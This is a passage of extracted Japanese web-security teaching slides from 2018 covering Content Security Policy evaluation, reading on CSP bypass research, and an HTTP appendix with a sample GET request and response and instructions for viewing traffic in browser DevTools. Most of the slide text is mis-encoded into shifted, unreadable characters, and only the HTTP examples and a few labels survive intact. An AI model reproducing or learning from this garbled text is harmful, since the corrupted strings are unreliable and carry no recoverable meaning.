     ࣗ෼ͷ8FCϖʔδΛ͍࣋ͬͯΕ͹ ͦ͜ʹ$41Λઃఆ͢Δ ‣ ΋͠ͳ͚Ε͹ ࣍ͷͲͪΒ͔ͰݕূՄೳ ‣ ϩʔΧϧʹ)5.-Λ࡞੒ͯ͠ NFUBΛ࢖͏ ‣ 8FCαʔόʔΛϩʔΧϧʹཱͯͯΈΔ EPDLFSͳͲ͕ศར   $41&WBMVBUPS IUUQTDTQFWBMVBUPSXJUIHPPHMFDPN Ͱઃఆͨ͠ ϖʔδΛݕূͯ͠ΈΔ  ݕূ݁ՌΛݟͯ ΑΓΑ͍ϙϦγʔΛઃఆͯ͠Έ·͠ΐ͏  $41CZQBTTͷख๏ʹ͍ͭͯௐ΂ͯ ࣮ࡍʹCZQBTTՄೳͳ৚݅Λ୳ͯ͠Έ ·͠ΐ͏ 87

  88. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ࣍ʹֶͿ΂͖͜ͱ
 Φεεϝͷॻ੶ɾ࿩୊ɾจॻ ‣ $41*T%FBE

    -POH-JWF$410OUIF*OTFDVSJUZPG8IJUFMJTUT BOEUIF'VUVSFPG$POUFOU4FDVSJUZ1PMJDZ ‣ λΠτϧͰ(PPHMFݕࡧ͍ͯͩ͘͠͞ ‣ ೥ͷ࿦จͰ͕͢ ମܥతʹ$41ͱͦͷόΠύεख๏ʹ͍͕ͭͯ·ͱΊ ΒΕ͍ͯΔ ‣ )*5#".4%5%FGFOTFJO%FQUI5FDIOJRVFTGPS .PEFSO8FC"QQT.4QBHOVPMP-8FJDITFMCBVN ‣ IUUQTXXXZPVUVCFDPNXBUDI W33@&R,T:CP ‣ GPS.PEFSO8FC"QQTͱ͸໏ଧ͍ͬͯΔ͕ $41΍ͦͷଞͷ.PEFSOͳ $MJFOUTJEFͷ๷ޚϨΠϠʹ͍ͭͯ ͬ͘͡Γղઆ͍ͯ͠Δ 88

  89. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ࣍ʹֶͿ΂͖͜ͱ
 Φεεϝͷॻ੶ɾ࿩୊ɾจॻ ‣ $$41$POUSPMMFESFMBYBUJPOPGDPOUFOUTFDVSJUZQPMJDJFTCZ

    SVOUJNFQPMJDZDPNQPTJUJPO ‣ IUUQTXXXVTFOJYPSHTZTUFNpMFTDPOGFSFODFVTFOJYTFDVSJUZ TFDDBM[BWBSBQEG ‣ ݱঢ়ͷ$41ͷ໰୊఺Λ౿·͑ͯ ΑΓΑ͍1PMJDZهड़๏Λ໛ࡧ͢Δ 3FTFBSDIMJOFͷྫ ‣ (JU)VCͷXFCBQQTFDDTQ ‣ IUUQTHJUIVCDPNXDXFCBQQTFDDTQ ‣ *TTVFTΛ PQFO DMPTFE໰Θͣ ಡΜͰΈͨΓ 13ΛோΊͨΓͯ͠ΈΔͱ  ͍͍ؾ෇͖͕͋Δ͔΋͠Εͳ͍ 89

  90. "QQFOEJY$
 )551

  91. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ )551
 )ZQFS5FYU5SBOTGFS1SPUPDPM JOTIPSU 91

    (&5JOEFYIUNM)551
 ʜ )5510,
 ʜ ϦΫΤετ Ϩεϙϯε 8FCαʔό

  92. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ )551ϦΫΤετ
 (&5ϦΫΤετͷྫ 92 GET

    / HTTP/1.1 Host: shift-js.info Connection: close Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.67 Safari/537.36 Accept: text/html,application/xhtml+xml,application/ xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,ja;q=0.8 Cookie: ...

  93. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ )551ϦΫΤετ
 (&5ϦΫΤετʹର͢ΔϨεϙϯεͷྫ 93 HTTP/1.1

    200 OK Server: nginx Date: Tue, 23 Oct 2018 12:57:05 GMT Content-Type: text/html; charset=UTF-8 Last-Modified: Fri, 14 Sep 2018 01:26:38 GMT Connection: close ETag: W/"5b9b0e4e-46d4" Strict-Transport-Security: max-age=31536000 Content-Length: 18132 <!DOCTYPE html>
 ...

  94. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ )551ϦΫΤετΛ೷͘
 ࠓճ%FWFMPQFS5PPMTΛ࢖͏ ‣ )551௨৴͸ී௨

    ࣍ͷΑ͏ͳ1SPYZπʔϧΛར༻ͯ͠೷͘ ‣ #VSQ4VJUF ‣ 'JEEMFS ‣ FUD ‣ ࠓ೔͸(PPHMF$ISPNF ͋Δ͍͸$ISPNJVN ʹ෇ଐͷ %FWFMPQFS5PPMTΛ࢖ͬͯ)551ϦΫΤετϨεϙϯεΛ೷͘ ‣ %FWFMPQFS5PPMT͸࣍ͷΑ͏ͳγϣʔτΧοτΩʔͰىಈ͢Δ ‣ 8JOEPXTͷ৔߹' ͋Δ͍͸$USM 4IJGU *Ͱىಈ
 .BDͷ৔߹$NE 0QU *Ͱىಈ 94

  95. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 95 8JOEPXT' $USM 4IJGU

    *
 .BD$NE 0QU *Ͱىಈ

  96. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 96 /FUXPSLλϒͰ)551 ௨৴ͷ༷ࢠ͕೷͚Δ

  97. 3FGFSFODFT

  98. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ࢀর ‣ Qͷ஫ͷը૾
 ࢈ۀٕज़૯߹ݚڀॴ

    ࢈૯ݚͷ৘ใγεςϜʹର͢Δෆਖ਼ͳΞΫ ηεʹؔ͢Δใࠂ  IUUQTXXXBJTUHPKQQEGBJTU@K UPQJDTUPUPBJTUQEG 98